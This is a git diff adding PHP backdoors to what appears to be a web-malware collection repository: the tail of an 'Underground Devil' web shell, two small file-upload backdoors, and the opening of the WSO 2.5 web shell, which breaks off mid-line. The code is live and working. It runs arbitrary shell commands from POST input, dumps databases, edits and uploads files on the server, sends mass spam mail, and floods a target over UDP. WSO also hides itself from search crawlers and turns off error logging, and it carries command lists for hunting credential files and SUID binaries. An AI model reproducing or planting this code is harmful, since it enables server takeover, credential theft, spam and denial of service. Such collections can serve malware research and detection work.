base64_decode('PGZvbnQgY29sb3I9I2ZmZmZmZj5OT1RFOiBBdXRvbWF0aWMgZGF0YWJhc2UgZmV0Y2ggZmVhdHVyZSBhbHNvIGF2YWlsYWJsZSBpbiBwYWlkIHZlcnNpb24='); ?></td></tr> + <tr><td>Server Username</td><td><input type=text name=s2></td></tr> + <tr><td>Server Password</td><td><input type=text name=s3></td></tr> + <tr><td>Database Name</td><td><input type=text name=s4></td></tr> + <tr><td colspan=2><input type=submit Value='Take Dump'></td></tr> + </table> + </form> + <hr class=li> + <?php + if(!empty($_POST['s1'])) + { + echo "<script language=javascript> +alert('hello'); +</script>"; + devil_dump('localhost','root','','cms'); + } + +} +else if(isset($_GET['run'])) + { + echo "<br><br><table><tr><td><table class=tab><tr><td><form action=# method=post> + Run Linux command : <input type=text name=rc> <input type=submit value='Run Command'></form></td></tr></table>"; + echo "<br><br><form action=# method=post> + <table cellspacing=5 class=tab> + <tr><td width=200>Server Name</td><td width=200><input type=text name=s1></td></tr> + <tr><td>Server Username</td><td><input type=text name=s2></td></tr> + <tr><td>Server Password</td><td><input type=text name=s3></td></tr> + <tr><td>Database Name</td><td><input type=text name=s4></td></tr> + <tr><td>Command</td><td><textarea rows=2 cols=50 name=s5></textarea></td></tr> + + <tr><td colspan=2><input type=submit Value='Run Command'></td></tr> + </table> + </form></td><td><h2>Result</h2><textarea rows=14 cols=60 class=tab> + "; + if(!empty($_POST['rc'])) + { + echo shell_exec($_POST['rc']); + } + else if(!empty($_POST['s1'])) + { + echo $_POST['s5']."\r\n"; + db_run($_POST['s1'],$_POST['s2'],$_POST['s3'],$_POST['s4'],$_POST['s5']); + } + echo "</textarea></td></tr> + <tr><td rowspan=3>".base64_decode('PGZvbnQgY29sb3I9I2ZmZmZmZj5OT1RFOiBBdXRvbWF0aWMgZGF0YWJhc2UgZmV0Y2ggZmVhdHVyZSBhbHNvIGF2YWlsYWJsZSBpbiBwYWlkIHZlcnNpb24=')."</td></tr> + </table>"; + + } +else if(isset($_GET['moreinfo'])) + { + ?> + <center> + +<table width=90%> +<tr><th colspan=2 width=200> Brief Information </th></tr> +<tr><td class=head><b>Server Admin : </td><td><?php echo $_SERVER['SERVER_ADMIN']; ?></td></tr> +<tr><td class=head><b>Server Name : </td><td><?php cip(); ?></td></tr> +<tr><td class=head><b>Server IP : </td><td> <?php cip(); ?> </td></tr> +<tr><td class=head><b>Server PORT : </td><td><?php echo $_SERVER['SERVER_PORT'];?></td></tr> +<tr><td class=head><b>Safe Mode : </td><td><?php echo @ini_get("safe_mode")?("<b>Enable(<font color=red>Secure</font>)"):("Disable(<font color=white>Insecure</font>)"); ?></td></tr> +<tr><td class=head><b>Base Directory : </td><td><?php echo @ini_get("open_basedir")?("<b>Enable(<font color=red>Secure</font>)"):("Disable(<font color=white>Insecure</font>)"); ?></td></tr> +<tr><td class=head><b>Your IP : </td><td><?php yip(); ?></td></tr> +<tr><td class=head><b>PHP VERSION : </td><td><?php echo $pv; ?></td></tr> +<tr><td class=head><b>Curl</td><td><?php echo function_exists('curl_version')?("<b>Enable"):("Disable"); ?></td></tr> +<tr><td class=head><b>Oracle : </td><td><?php echo function_exists('ocilogon')?("<b>Enable"):("Disable"); ?></td></tr> +<tr><td class=head><b>MySQL : </td><td><?php echo function_exists('mysql_connect')?("<b>Enable"):("Disable");?></td></tr> +<tr><td class=head><b>MSSQL :</td><td><?php echo function_exists('mssql_connect')?("<b>Enable"):("Disable"); ?></td></tr> +<tr><td class=head><b>PostgreSQL :</td><td><?php echo function_exists('pg_connect')?("<b>Enable"):("Disable"); ?></td></tr> +<tr><td class=head><b>Disable functions :</td><td><?php dis(); ?></td></tr> +<tr><td class=head><b>Total Disk Space : </td><td><?php echo disk(1);?></td></tr> +<tr><td class=head><b>Free Space : </td><td><?php echo disk(2);?></td></tr> +<tr><td class=head><b>OS</td><td><?php echo php_uname(); ?></td></tr> +<tr><td class=head><b>Server Software : </td><td><?php echo $_SERVER['SERVER_SOFTWARE']; ?></td></tr> + + +</table> + <?php + } +else if(isset($_GET['bc'])) + { + echo base64_decode('PGNlbnRlcj48YnI+PGJyPjxicj48YnI+PGZvbnQgY29sb3I9I2ZmZmZmZmY+QXZhaWxibGUgb24gUGFpZCBWZXJzaW9uIGNvbnRhY3QgVW5kZXJncm91bmQgRGV2aWwgdG8gcHVyY2hhc2UgYXQgdWdkZXZpbEBnbWFpbC5jb208L2ZvbnQ+PGJyPjxicj48L2NlbnRlcj48YnI+PGJyPjxicj4='); + } +else if(isset($_GET['download'])) + { + $size = filesize($_GET['download']); + $r=explode('//',$_GET['download']); + for($i=0;$i<sizeof($r);$i++) + { + $fd=$r[$i]; + } + devil_download($fd); + + } + else if(isset($_GET['mail'])) + { + + if(isset($_POST['send_email'])) +{ + +$_POST['num']=stripslashes($_POST['num']); +$_POST['sen'] = stripslashes($_POST['sen']); +$_POST['rec'] = stripslashes($_POST['rec']); +$_POST['sub'] = stripslashes($_POST['sub']); +$_POST['msg'] = stripslashes($_POST['msg']); + + +$sen=$_POST['sen']; +$rec=$_POST['rec']; +$num=$_POST['num']; +$sub=$_POST['sub']; +$msg=$_POST['msg']; + + + +if(($sen!="")&&($rec!="")&&($num!="")&&($sub!="")&&($msg!="")) +{ + +$error=validate_email($sen,$rec,$num); +if($error=="") +{ +$headers = "MIME-Version: 1.0\r\n"; +$headers .= "Content-type: text/plain"."; charset=windows-1251\r\n"; + +$headers .= "From: ".$sen; + +for($i=0;$i<$num;$i++) +{ + +mail($rec,$sub,$msg,$headers) or die('<b>Message Sending Failed</b>'); + + +} + + +} +} +else +{ +$error="Fill all the fields"; + +} +} + $zzz=<<<zzx +<form action= $self?mail= method="post"> +<table> +<tr><td><b>Sender's Email</b></td><td><input type=text name=sen size=50 value=$sen></td></tr> +<tr><td><b>Receipent's Email</b></td><td><input type=text name=rec size=50 value=$rec ></td></tr> +<tr><td><b>Number</b></td><td><input type=text size=50 name=num onkeyup="this.value=only_num(this.value)" maxlength=7 value=$num></td></tr> +<tr><td><b>Subject</b></td><td><input type=text size=50 name=sub value=$sub></td></tr> +<tr><td><b>Message</b></td><td><textarea name=msg rows=10 cols=80 >$msg</textarea></td></tr> +<tr><td></td><td><input type=submit name=send_email value=send ></td></tr><br/> +<tr><td colspan="2"><p style=" font-size:25px"><b>$error</b></p></td></tr> +</table> +</form> +zzx; +echo $zzz; + + + } +else if(isset($_GET['rename'])) + { + echo "<form action=# method=post>New File name <input type=text name=rf><br><input type=submit value='Rename File' name=srf></form>"; + if(isset($_POST['srf'])) + { + rename($_GET['rename'],$_POST['rf']); + header('location:'.$self."?open=".$_SESSION['dir']); + } + } + else if(isset($_GET['dos'])) + { + if(!isset($_POST['dsub'])) + { + echo "<center><form action=# method=post><table><tr><td colspan=2><h2>DOS ATACK</h2> <tr><td>Target Server IP : </td><td><input type=text name=ddos value=".$_SERVER["SERVER_NAME"]."></td></tr> + <tr><td>Server Port : </td><td><input type=text name=dpos value=".$_SERVER['SERVER_PORT']."></td></tr> + <tr><td>Time Execution : </td><td><input type=text name=dtim></td></tr> + <tr><th colspan=2><input type=Submit name=dsub value='attack--->'></th></tr> + <tr><td colspan=2 height=100></td></tr> + </form></table>"; + } + else + { + + $sip=$_POST['ddos']; + $port=$_POST['dpos']; + $t=time()+$_POST['dtim']; + $send = 0; + print "DOS Atack on $ip using ".$port."PORT <br><br>"; + for($i=0;$i<99999;$i++) + { + $get .= "FLOOD"; + } + do + { + $send++; + } + while(time() > $max_time); + + + $fo = fsockopen("udp://$sip", $port, $errno, $errstr, 5); + if($fo) + { + fwrite($fo, $get); + fclose($fo); + } + + echo "DOS completed @ ".date("h:i:s A")."<br> Total Data Send [" . number_format(($send*65)/1024, 0) . " MB]<br> Average Data per second [". number_format($send/$_POST['dtim'], 0) . "]"; + } + } +else if($handle = opendir('./')) + { + while (false !== ($file = readdir($handle))) + { + if(is_dir($file)) + { + $directories[] = $file; + } + else + { + $files[] = $file; + } + } + asort($directories); + asort($files); + $kb=filesize($file)/1024; + +foreach($directories as $file) + { if($bg%2==0) + echo "<tr bgcolor=#353535>"; + else + echo "<tr bgcolor=#242424>"; + $kb=number_format(filesize($file)/1024,2); + echo " + <td valign=top><a href=".$self."?open=".realpath('.')."/".$file."><span class=li>".$file."</span> </a></td><td class=li> &nbsp;&nbsp;&nbsp;&nbsp;...<td valign=top class=li width=200>".date ("m/d/Y | H:i:s", filemtime($file))."</td> + <th width=100><font color=white>".substr(sprintf('%o', fileperms(realpath(''))), -3)."</td> + <td><a href=".$self."?open=".realpath('.')."/".$file."><span class=li>Open</span></a> | <a href=".$self."?delete=".realpath('.')."/".$file."><span class=li>Delete</span></a> + </td>"; + $bg++; + } + + foreach($files as $file) + { + if($bg%2==0) + echo "<tr bgcolor=#353535>"; + else + echo "<tr bgcolor=#242424>"; + $kb=number_format(filesize($file)/1024,2); + echo " + <td valign=top><a href=".$self."?edit=".realpath('')."><span class=li>".$file."</span> </a></td><td class=li> &nbsp;&nbsp;&nbsp;&nbsp;".$kb."kb<td valign=top class=li>".date ("m/d/Y | H:i:s", filemtime($file))."</th> + <th><font color=white>".substr(sprintf('%o', fileperms(realpath(''))), -3)."</td> + <td><a href=".$self."?edit=".realpath('.')."/".$file."><span class=li>View</span></a> | <a href=".$self."?rename=".realpath('.')."/".$file."><span class=li>Rename</span></a>|<a href=".$self."?delete=".realpath('.')."/".$file."><span class=li>Delete</span></a> | <a href=".$self."?download=".realpath('.')."/".$file."><span class=li>Download</span></a> "; + $bg++; + } + + + ?> + +</table> +</td> +</tr> +<tr height=30><td bgcolor="#000000" ><form action=# method=post enctype=multipart/form-data><table><tr><td><span class=hd>Upload file 1 : </td><td><input type=file name=a size=80 class=upl></span></td></tr> +<tr><td><span class=hd >Upload file 2 : </td><td><input type=file name=b size=80 class=upl></span></td></tr> +<tr><td><span class=hd>Upload file 3 : </td><td><input type=file name=c size=80 class=upl></span> +<tr><td> +<input type=submit value=Upload name=u class=sub></td></tr></form> +<br> +<form action=# method=post> +<tr><td> +<span class=hd>Create Directory</span></td><td><input type=text name=cdir size=50><input type=submit value=create> +</td></tr> +</form> +<?php + if(!empty($_POST['cdir'])) + { + mkdir($_POST['cdir']); + header('location:'.$self.'?open='.$_SESSION['dir']); + } +?> +<form action=<?php echo $self;?> method=post> + +<tr><td> + +<span class=hd>Change Permission : </td><td><input type=text name=cper Value=<?php echo "'From Current Folder'"; ?> size=40>&nbsp +<select name=cc1> +<?php +for($k=1;$k<=7;$k++) +echo "<option>".$k; +?> +</select name=cc2> +<select> +<?php +for($k=1;$k<=7;$k++) +echo "<option>".$k; +?> +</select> +<select name=cc3> +<?php +for($k=1;$k<=7;$k++) +echo "<option>".$k; +?> +</select> + +&nbsp;<input type=submit value=go name=dper></span> +</form> +</td></tr> +<tr><td> +<form action=# method=post> +<span class=hd>Go : </td><td><input type=text name=ndir Value=<?php echo realpath(''); ?> size=80>&nbsp;&nbsp;&nbsp;<input type=submit value=go name=dsub></span></td></tr> +</form> +</table> + + + +</td> +</tr> + + + +<?php + if(isset($_POST['dsub'])) + header($self."?open=".$_POST['ndir']); +} + +echo "<tr height=25><th bgcolor=#000000><span class=tab><font color=#336666>".base64_decode($pstr)."</span></th></tr> +</table>"; +} + +else if(isset($_GET['edit'])&&isset($_SESSION['a'])) +{ + if(isset($_POST['fn'])&& !empty($_POST['fc'])) + { + + if(empty($_SESSION['dir'])) + { + $fo=fopen($_POST['fn'],"a"); + } + else + { + $fo=fopen($_SESSION['dir']."/".$_POST['fn'],"a"); + } + + fwrite($fo,$_POST['fc']); + fclose($fo); + header('location:'.$self."?open=".$_SESSION['dir']); + + } + else if(isset($_POST['fdata'])&&!empty($_POST['fdata'])) + { + $b_dir=$_GET['edit']; + $exp=explode("/",$b_dir); + for($i=0;$i<sizeof($exp);$i++) + { + $txt=$exp[$i]; + } + echo "File name is : ".$txt."<br>"; + $fd=fopen($_GET['edit'],'w'); + fwrite($fd,$_POST['fdata']); + fclose($fd); + header('location:'.$self."?open=".$_SESSION['dir']); + } + else + { + +?> + +<table width=100%><tr bgcolor=#000000><td>File Name:<?php echo $_GET['edit']; ?> [<a href=<?php echo $self; ?>>Main Page</a>]</font> +<form action=# method=post><tr bgcolor=#000000><td><center> +<center><textarea rows=30 cols=100 name=fdata> +<?php + $fedit=$_GET['edit']; +$frd=fopen($fedit,"r"); +while(!feof($frd)) + { + echo htmlspecialchars(fgets($frd)); + + + echo "$fp"; + } + +?> +</textarea> +</center> +<hr class=li> +<input type=submit value="&nbsp;&nbsp;&nbsp;Edit File&nbsp;&nbsp;&nbsp;" name=fdat class=lin> + +<hr class=li> +</form> +</td></tr> + +</td></tr> + +</table> +<?php +} +} +else +{ +$cuser=md5($_POST['uname']); +$puser=md5($_POST['pass']); +echo base64_decode('PGNlbnRlcj48dGFibGUgaGVpZ2h0PTQwMCBib3JkZXI9MCAgYmFja2dyb3VuZD0iaHR0cDovL2kxMTc5LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMveDM5MC9wYXVsbW9uY3kvdGVhbW51dHMvMS0yLmpwZz90PTEzMTAwOTMwNzUiICB3aWR0aD00MDAgQUxUPSJDUkVBVEVEIElOIElORElBIj4='); +?> + +<tr><td height="141"> +<p class="head">&nbsp;</p></td> +</tr> +<form action=# method=post> +<tr><td valign=top>Username</td><td><Input type=text name=uname> +</td></tr> +<tr><td> +Password </td><td><input type=password name=pass> +</td></tr> +<tr><td></td><td> +<input type=submit value=Login> +</td> +</form> +</tr> +<tr><td height=160></td> +</tr> + +</table> + +<?php + $user='27db7898211c8ccbeb4d5a97d198839a'; +$pass='27db7898211c8ccbeb4d5a97d198839a'; + + if($cuser==$user && $puser==$pass) + {$_SESSION['a']=$_POST['uname']; +header('location:'.$self);}} ?> +<?php +echo base64_decode('IDxzdHlsZT4NCiNzdWJtaXQge2NvbG9yOiNmZjY2MDA7b3V0bGluZTpub25lOyB0ZXh0LWRlY29yYXRpb246bm9uZTsgDQpzaXplOjEwMHB4OyBib3JkZXI6ZG91YmxlOyBib3JkZXItY29sb3I6IzNDM0MzQzt9DQphIHtjb2xvcjojZmZmO291dGxpbmU6bm9uZTt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye3RleHQtZGVjb3JhdGlvbjpub25lO30NCmJvZHkNCnsNCglmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuLCBUaW1lcywgc2VyaWY7DQoJZm9udC1zaXplOiA5cHg7DQp9DQouaGVhZCB7DQoJY29sb3I6ICNmZmZmZmY7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQoJZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3LCBDb3VyaWVyLCBtb25vc3BhY2U7DQpmb250LXNpemU6IDEycHg7DQp9DQoudGFiDQp7DQoJYm9yZGVyLWNvbG9yOiMzMzY2NjY7DQoJYm9yZGVyOmRvdWJsZTsNCglmb250LWZhbWlseTogQ291cmllciBOZXcsIENvdXJpZXIsIG1vbm9zcGFjZTsNCmZvbnQtc2l6ZTogMTJweDsNCn0NCi5oZA0Kew0KCWNvbG9yOiMzM0NDQ0M7DQoJYm9yZGVyLWNvbG9yOiMyQTJBMkE7DQoJYm9yZGVyOmRvdWJsZTsNCglmb250LWZhbWlseTogQ291cmllciBOZXcsIENvdXJpZXIsIG1vbm9zcGFjZTsNCmZvbnQtc2l6ZTogMTJweDsNCn0NCi5saXsNCgljb2xvcjogIzMzQ0NDQzsNCgl0ZXh0LWRlY29yYXRpb246bm9uZTsNCglmb250LWZhbWlseTogQ291cmllciBOZXcsIENvdXJpZXIsIG1vbm9zcGFjZTsNCmZvbnQtc2l6ZTogMTJweDsNCgkNCn0NCi5saW4NCnsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMzNDQ0NDOw0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KCWZvbnQtZmFtaWx5OiBDb3VyaWVyIE5ldywgQ291cmllciwgbW9ub3NwYWNlOw0KZm9udC1zaXplOiAxMnB4Ow0KCQ0KfQ0KaW5wdXQNCnsNCmZvbnQtZmFtaWx5OiBDb3VyaWVyIE5ldywgQ291cmllciwgbW9ub3NwYWNlOw0KZm9udC1zaXplOiAxMnB4Ow0KY29sb3I6ICMwMDAwMDA7DQpib3JkZXI6ZG91YmxlOyANCmJvcmRlci1jb2xvcjojM0MzQzNDOw0KYmFja2dyb3VuZC1jb2xvcjojNjBENUM5Ow0KfQ0KdGV4dGFyZWENCnsNCmZvbnQtZmFtaWx5OiBDb3VyaWVyIE5ldywgQ291cmllciwgbW9ub3NwYWNlOw0KZm9udC1zaXplOiAxMnB4Ow0KY29sb3I6ICMwMDAwMDA7DQpib3JkZXI6ZG91YmxlOyANCmJvcmRlci1jb2xvcjojM0MzQzNDOw0KYmFja2dyb3VuZC1jb2xvcjojNjBENUM5Ow0KfQ0KaHINCnsNCmJhY2tncm91bmQtY29sb3I6ICMzM0NDQ0M7DQp9DQo8L3N0eWxlPg0KDQo='); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/up.php b/web-malware-collection-master/Backdoors/PHP/up.php new file mode 100755 index 0000000..360256a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/up.php @@ -0,0 +1,33 @@ +<? +// +// PHP_KIT +// +// up.php = File Upload +// +// by: The Dark Raver +// modified: 21/01/2004 +// +?> + +<html><body> + +<form enctype="multipart/form-data" action="" method="post"> +<input type="hidden" name="MAX_FILE_SIZE" value="1000000"> +<p>Local File: <input name="userfile" type="file"> +<p>Remote File: <input name="remotefile" type="text"> +<input type="submit" value="Send"> +</form><br><br><br> + +<? + +if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) { + copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']); + echo "Uploaded file: " . $HTTP_POST_FILES['userfile']['name']; +} else { + echo "No File Uploaded"; +} + +?> + +</html></body> + diff --git a/web-malware-collection-master/Backdoors/PHP/uploader.txt b/web-malware-collection-master/Backdoors/PHP/uploader.txt new file mode 100755 index 0000000..c9015db --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/uploader.txt @@ -0,0 +1,8 @@ +<FORM ENCTYPE="multipart/form-data" ACTION="uploader.php" METHOD="POST"> +<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000"> +Send this file: <INPUT NAME="userfile" TYPE="file"> +<INPUT TYPE="submit" VALUE="Send"> +</FORM> +<? +move_uploaded_file($userfile, "entrika.php"); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/wso.v2.5.txt b/web-malware-collection-master/Backdoors/PHP/wso.v2.5.txt new file mode 100755 index 0000000..587cd24 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/wso.v2.5.txt @@ -0,0 +1,1519 @@ +<?php # Web Shell by oRb +$auth_pass = "63a9f0ea7bb98050796b649e85481845"; +$color = "#df5"; +$default_action = 'FilesMan'; +$default_use_ajax = true; +$default_charset = 'Windows-1251'; + +if(!empty($_SERVER['HTTP_USER_AGENT'])) { + $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); + if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { + header('HTTP/1.0 404 Not Found'); + exit; + } +} + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +@ini_set('max_execution_time',0); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +@define('WSO_VERSION', '2.5'); + +if(get_magic_quotes_gpc()) { + function WSOstripslashes($array) { + return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); + } + $_POST = WSOstripslashes($_POST); + $_COOKIE = WSOstripslashes($_COOKIE); +} + +function wsoLogin() { + die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); +} + +function WSOsetcookie($k, $v) { + $_COOKIE[$k] = $v; + setcookie($k, $v); +} + +if(!empty($auth_pass)) { + if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) + WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); + + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) + wsoLogin(); +} + +if(strtolower(substr(PHP_OS,0,3)) == "win") + $os = 'win'; +else + $os = 'nix'; + +$safe_mode = @ini_get('safe_mode'); +if(!$safe_mode) + error_reporting(0); + +$disable_functions = @ini_get('disable_functions'); +$home_cwd = @getcwd(); +if(isset($_POST['c'])) + @chdir($_POST['c']); +$cwd = @getcwd(); +if($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); +} +if($cwd[strlen($cwd)-1] != '/') + $cwd .= '/'; + +if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) + $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; + +if($os == 'win') + $aliases = array( + "List Directory" => "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -lha", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "process status" => "ps aux", + "Find" => "", + "find all suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function wsoHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> +<style> +body{background-color:#444;color:#e1e1e1;} +body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } +table.info{ color:#fff;background-color:#222; } +span,h1,a{ color: $color !important; } +span{ font-weight: bolder; } +h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } +div.content{ padding: 5px;margin-left:5px;background-color:#333; } +a{ text-decoration:none; } +a:hover{ text-decoration:underline; } +.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } +.bigarea{ width:100%;height:300px; } +input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } +form{ margin:0px; } +#toolsTbl{ text-align:center; } +.toolsInp{ width: 300px } +.main th{text-align:left;background-color:#5e5e5e;} +.main tr:hover{background-color:#5e5e5e} +.l1{background-color:#444} +.l2{background-color:#333} +pre{font-family:Courier,Monospace;} +</style> +<script> + var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; + var a_ = '" . htmlspecialchars(@$_POST['a']) ."' + var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; + var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; + var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; + var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; + var d = document; + function set(a,c,p1,p2,p3,charset) { + if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; + if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; + if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; + if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; + if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; + if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; + } + function g(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + d.mf.submit(); + } + function a(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + var params = 'ajax=true'; + for(i=0;i<d.mf.elements.length;i++) + params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); + sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); + } + function sr(url, params) { + if (window.XMLHttpRequest) + req = new XMLHttpRequest(); + else if (window.ActiveXObject) + req = new ActiveXObject('Microsoft.XMLHTTP'); + if (req) { + req.onreadystatechange = processReqChange; + req.open('POST', url, true); + req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); + req.send(params); + } + } + function processReqChange() { + if( (req.readyState == 4) ) + if(req.status == 200) { + var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); + var arr=reg.exec(req.responseText); + eval(arr[2].substr(0, arr[1])); + } else alert('Request error!'); + } +</script> +<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> +<form method=post name=mf style='display:none;'> +<input type=hidden name=a> +<input type=hidden name=c> +<input type=hidden name=p1> +<input type=hidden name=p2> +<input type=hidden name=p3> +<input type=hidden name=charset> +</form>"; + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace?$totalSpace:1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $explink = 'http://exploit-db.com/search/?action=search&filter_description='; + if(strpos('Linux', $kernel) !== false) + $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); + else + $explink .= urlencode($kernel . ' ' . substr($release,0,3)); + if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(posix_geteuid()); + $gid = @posix_getgrgid(posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + + $cwd_links = ''; + $path = explode("/", $GLOBALS['cwd']); + $n=count($path); + for($i=0; $i<$n-1; $i++) { + $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; + for($j=0; $j<=$i; $j++) + $cwd_links .= $path[$j].'/'; + $cwd_links .= "\")'>".$path[$i]."/</a>"; + } + + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; + + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; + + $drives = ""; + if($GLOBALS['os'] == 'win') { + foreach(range('c','z') as $drive) + if(is_dir($drive.':\\')) + $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; + } + echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' + . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font 